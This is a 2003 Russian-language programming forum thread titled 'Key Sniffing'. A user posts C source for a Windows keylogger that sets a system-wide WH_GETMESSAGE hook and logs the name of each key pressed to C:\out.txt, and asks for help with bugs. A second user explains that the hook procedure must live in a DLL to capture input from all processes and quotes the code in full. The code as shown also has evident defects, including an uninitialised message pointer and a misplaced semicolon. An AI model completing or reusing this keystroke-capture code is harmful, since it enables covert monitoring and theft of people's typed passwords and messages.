Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Key Sniffing

558
10 марта 2003 года
_ReZzZ_
14 / / 20.08.2000
Помогите с кодом, плз...
Отлавливаются char'ы - записываются в файл

#include <windows.h>
#include <stdio.h>


FILE* save;
HHOOK curr_hook;


LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam);

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG* hMsg;

save=fopen("C:\\out.txt","wb");
RegisterHotKey(NULL,105,MOD_ALT,'Q');
curr_hook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GetMsgProc,NULL,NULL); // необходимо
//отловить через WH_GETMESSAGE обязательно

while(GetMessage(hMsg,NULL,0,0));
{
TranslateMessage(hMsg);
DispatchMessage(hMsg);
}

fclose(save);

return 0;
}

LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
MSG* mMsg=(MSG*)lParam;

switch(mMsg->message)
{
case WM_HOTKEY:
{
if(mMsg->wParam==105)
{
PostQuitMessage(0);
}
}break;

case WM_KEYDOWN:
{
TCHAR key[20];
GetKeyNameText(mMsg->lParam,key,19);
fwrite(key,strlen(key),1,save); //как я понял, глючит из-за этого
}break;
}

return CallNextHookEx(curr_hook,code,wParam,lParam);
}
3.8K
14 марта 2003 года
Alex_Bond
1 / / 14.03.2003
Ты ставишь системный хук, значит функция
GetMsgProc должна находиться в dll, так как при
установленном системном хуке, dll загружается в адрессное пространство каждого запущенного процесса и каждого вновь загружаемого процесса.

Цитата:
Originally posted by _ReZzZ_
Помогите с кодом, плз...
Отлавливаются char'ы - записываются в файл

#include <windows.h>
#include <stdio.h>


FILE* save;
HHOOK curr_hook;


LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam);

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG* hMsg;

save=fopen("C:\\out.txt","wb");
RegisterHotKey(NULL,105,MOD_ALT,'Q');
curr_hook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GetMsgProc,NULL,NULL); // необходимо
//отловить через WH_GETMESSAGE обязательно

while(GetMessage(hMsg,NULL,0,0));
{
TranslateMessage(hMsg);
DispatchMessage(hMsg);
}

fclose(save);

return 0;
}

LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
MSG* mMsg=(MSG*)lParam;

switch(mMsg->message)
{
case WM_HOTKEY:
{
if(mMsg->wParam==105)
{
PostQuitMessage(0);
}
}break;

case WM_KEYDOWN:
{
TCHAR key[20];
GetKeyNameText(mMsg->lParam,key,19);
fwrite(key,strlen(key),1,save); //как я понял, глючит из-за этого
}break;
}

return CallNextHookEx(curr_hook,code,wParam,lParam);
}

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог